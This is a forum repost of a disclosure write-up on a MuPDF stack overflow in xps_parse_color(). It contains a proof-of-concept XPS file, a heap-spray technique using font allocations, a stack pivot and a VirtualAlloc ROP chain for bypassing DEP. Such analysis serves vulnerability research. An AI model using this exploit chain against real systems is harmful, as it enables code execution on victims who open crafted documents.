net3design Posted January 28, 2014 Report Posted January 28, 2014 0day - MuPDF Stack-based Buffer Overflow in xps_parse_color()##### Date of discovery: 2013-01-26# Software Links: MuPDF ; MuPDF - Wikipedia, the free encyclopedia# Version: <= 1.3# Author: Jean-Jamil Khalifé# Tested on: Windows XP SP3 (fr) / Windows 7 x64 (fr)# Home: HDW Sec - Accueil# Blog: http://www.hdwsec.fr/blog/####Disclosure Timeline2014-01-16 MuPDF contacted2014-01-18 fix integratedIntroductionI was recently looking for an opensource cpp lightweight PDF and XPS viewer to play with and I found MuPDF.So I decided to have some fun during my free time and took a look at the source code of this product and quickly checked it out to verify if some vulnerabilities were present or not.After about two hours, I found a dos and a stack overflow. This second vulnerability finally led to a remote code execution when a user opens a malicious XPS document.AnalysisWhen MuPDF loads the XPS document, it loads the first page and parses each element via xps_parse_element() as detailed in the XPS specification ( http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-388.pdf ),When the crash occurs, the call stack looks like this :mupdf.exe!xps_parse_pathmupdf.exe!xps_parse_elementmupdf.exe!xps_parse_fixed_pagemupdf.exe!xps_run_pagemupdf.exe!fz_run_page_contentsmupdf.exe!pdfapp_loadpagevoidxps_parse_element(xps_document *doc, const fz_matrix *ctm, const fz_rect *area, char *base_uri, xps_resource *dict, fz_xml *node ){ …………. if (!strcmp(fz_xml_tag(node), "Path")) xps_parse_path(doc, ctm, base_uri, dict, node); if (!strcmp(fz_xml_tag(node), "Glyphs")) xps_parse_glyphs(doc, ctm, base_uri, dict, node); ………….}In this case, the Path element is parsed via the xps_parse_path() function which allows extraction of the attributes and extended attributes (Clip, Data, Fill, …).If some conditions are fulfilled, we can trigger a stack overflow in the xps_parse_color() function when it parses the value "ContextColor" of the attribute "Fill".voidxps_parse_path(xps_document *doc, const fz_matrix *ctm, char *base_uri, xps_resource *dict, fz_xml *root){ fz_stroke_state *stroke = NULL; fz_matrix transform; float samples[32]; fz_colorspace *colorspace; fz_path *path; fz_path *stroke_path = NULL; fz_rect area; int fill_rule; int dash_len = 0; fz_matrix local_ctm; ……. fill_att = fz_xml_att(root, "Fill"); ……. if (fill_att) { xps_parse_color(doc, base_uri, fill_att, &colorspace, samples); if (fill_opacity_att) samples[0] *= fz_atof(fill_opacity_att); xps_set_color(doc, colorspace, samples); fz_fill_path(doc->dev, path, fill_rule == 0, &local_ctm, doc->colorspace, doc->color, doc->alpha); } …….}This function is in charge of getting all the floating numbers of ContextColor and putting them into the samples[32] buffer. The issue is that it does it without controlling the size of this array.voidxps_parse_color(xps_document *doc, char *base_uri, char *string, fz_colorspace **csp, float *samples){ …………. else if (strstr(string, "ContextColor ") == string) { fz_strlcpy(buf, string, sizeof buf); profile = strchr(buf, ' '); if (!profile) { fz_warn(doc->ctx, "cannot find icc profile uri in '%s'", string); return; } *profile++ = 0; p = strchr(profile, ' '); if (!p) { fz_warn(doc->ctx, "cannot find component values in '%s'", profile); return; } *p++ = 0; n = count_commas(p) + 1; i = 0; while (i < n) { samples[i++] = fz_atof(p); p = strchr(p, ','); if (!p) break; p ++; if (*p == ' ') p ++; } } ………….}This is the assembly code from the compiled C code above :.text:0047C590 loc_47C590:.text:0047C590 push esi ; char *.text:0047C591 call fz_atof // convert into float.text:0047C596 fstp dword ptr [edi+ebx*4].text:0047C599 add esp, 4.text:0047C59C push 2Ch ; int.text:0047C59E push esi ; char *.text:0047C59F add ebx, 1.text:0047C5A2 call _strchr // search next comma.text:0047C5A7 mov esi, eax.text:0047C5A9 add esp, 8.text:0047C5AC test esi, esi // check if the returned pointer is null.text:0047C5AE jz short loc_47C5C1.text:0047C5B0 add esi, 1.text:0047C5B3 cmp byte ptr [esi], 20h // trim potential space.text:0047C5B6 jnz short loc_47C5BB.text:0047C5B8 add esi, 1.text:0047C5BB.text:0047C5BB loc_47C5BB:.text:0047C5BB cmp ebx, ebp // check only the number of comma (oops… no test for the samples size).text:0047C5BD jl short loc_47C590This is an example of a proof-of-concept test case that triggers the overflow :<FixedPage Width="793.76" Height="1122.56" xmlns="<a href="http://schemas.microsoft.com/xps/2005/06">http://schemas.microsoft.com/xps/2005/06</a>" xml:lang="und"> <Path Data="" Fill="ContextColor 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47" /></FixedPage>We need to write our shellcode into the heap, so maybe we could put a stack pivot to return at the beginning of the stack buffer, process the ROP chain and then do an egg hunter to execute the shellcode from the heap but there is a much nicer solution.It's possible to trigger multiple aligned allocations into the heap, even if we can't use javascript scripting routine. I used the "font" attribute to allocate binary data, controlling the size for each of them else it's not possible to make precise allocations. So we can now put the ROP and shellcode directly at 0x0c0c0c0c.If we take a look at the assembly code, the functions displayed below are used to do most of the allocations of elements and resources :.text:00421BCC loc_421BCC:.text:00421BCC mov edi, [esp+18h].text:00421BD0 mov eax, [esi+44h].text:00421BD3 call sub_40F730.text:00421BD8 mov edi, [esp+1Ch].text:00421BDC lea ebx, [edi+1] // ebx = 0x100000 (1mo).text:00421BDF test ebx, ebx // check the size.text:00421BE1 mov [ebp+0], eax.text:00421BE4 mov [ebp+4], edi.text:00421BE7 mov esi, [esi+44h].text:00421BEA jnz short loc_421BFD.text:00421BEC xor eax, eax.text:00421BEE.text:00421BEE loc_421BEE: ; CODE XREF: .text:00421C06_j ……..text:00421BFD.text:00421BFD loc_421BFD: ; CODE XREF: .text:00421BEA_j.text:00421BFD mov eax, esi.text:00421BFF call do_scavenging_malloc // go malloc.text:00421C04 test eax, eax.text:00421C06 jnz short loc_421BEE.text:00421C08 push ebx.text:00421C09 push offset aMallocOfDBytes ; "malloc of %d bytes failed".text:00421C0E lea ecx, [eax+1].text:00421C11 call sub_40FAD0No particular check is made except if the size is null or zero. Obviously, if it's zero, the function returns null. ebx contains the size of our block (0x100000)..text:0040F450 do_scavenging_malloc proc near.text:0040F450 push ecx.text:0040F451 push esi ….text:0040F470.text:0040F470 loc_40F470: .text:0040F470 mov eax, [esi].text:0040F472 mov ecx, [eax].text:0040F474 mov edx, [eax+4] // & _sub_40F7A0().text:0040F477 push ebx // size = 0x100000.text:0040F478 push ecx.text:0040F479 call edx // call _sub_40F7A0()As we can see, __cdecl sub_40F7A0 is dynamically resolved and then called with the size argument filled in ebx before..text:0040F7A0 ; int __cdecl sub_40F7A0(int, size_t).text:0040F7A0.text:0040F7A0 mov eax, [esp+arg_4].text:0040F7A4 push eax ; size_t.text:0040F7A5 call _malloc // do HeapAlloc() of our font size.text:0040F7AA add esp, 4.text:0040F7AD retn.text:0040F7AD sub_40F7A0 endpFinally, our font allocations are done and will remain without being freed. Practically, we need to generate many font files containing our binary data into a folder and write the path of each of them into the page file using FontUri attribute of Glyphs like shown below to load them.<FixedPage Width="793.76" Height="1122.56" xmlns="<a href="http://schemas.microsoft.com/xps/2005/06">http://schemas.microsoft.com/xps/2005/06</a>" xml:lang="und"> <Glyphs OriginX="96" OriginY="96" UnicodeString="This is Page 1!" FontUri="/Documents/1/Resources/Fonts/FONT-0.ttf" FontRenderingEmSize="16"/> <Glyphs OriginX="96" OriginY="96" UnicodeString="This is Page 1!" FontUri="/Documents/1/Resources/Fonts/FONT-1.ttf" FontRenderingEmSize="16"/> <Glyphs OriginX="96" OriginY="96" UnicodeString="This is Page 1!" FontUri="/Documents/1/Resources/Fonts/FONT-2.ttf" FontRenderingEmSize="16"/> … <Path Data="" Fill="ContextColor 5.962129799535157e-039,7.421697056603529e-039,7.334452214214666e-039, … /></FixedPage>It now only remains to find a solution to bypass DEP. ASLR can be bypassed in this case because mupdf.exe isn't ASLR compiled.A stack pivot will allow executing the ROP from the heap0x005000a7 : # XOR EAX,EAX # POP ESI # RETN0x0C0C0C0C : 0x0C0C0C0C0x00453eaa : # ADD EAX,ESI # POP ESI # POP ECX # RETN0x0C0C0C0C : 0x0C0C0C0C0x0C0C0C0C : 0x0C0C0C0C0x0047033d : # XCHG EAX,ESP # POP EBP # POP ESI # POP EBX # RETNThe ROP chain is based on mupdf.exe (which is non-ASLR). In this case, it appears that only VirtualAlloc is necessary to bypass DEP.0x0040ebfe, # POP EAX # RETN0x0050d0ac, # ptr to &VirtualAlloc()0x004fdd78, # MOV EAX,DWORD PTR DS:[EAX] # POP ESI # RETN0x41414141, # Filler (compensate)0x00408e96, # XCHG EAX,ESI # RETN0x004baf26, # POP EBP # RETN0x0046521a, # & call esp0x00421d9e, # POP EBX # RETN0x00000001, # 0x000000010x004fff88, # POP EDX # RETN0x00001000, # 0x000010000x0048ab04, # POP ECX # RETN0x00000040, # 0x000000400x00472066, # POP EDI # RETN0x00500681, # RETN (ROP NOP)0x0050be74, # POP EAX # RETN0x90909090, # NOP0x004d99ac, # PUSHAD # RETNConclusionThe MuPDF library is vulnerable to a stack overflow and could be exploited in this case because of two conditions :the binary is non-aslr compiled allowing us to easily get a ROP chain and bypass DEP protection.it was compiled with /GS, maybe with an old version of Visual Studio which doesn't protect arrays of floats with stack cookies.Source : HDW SecExploit DBDownload the PoC 1 Quote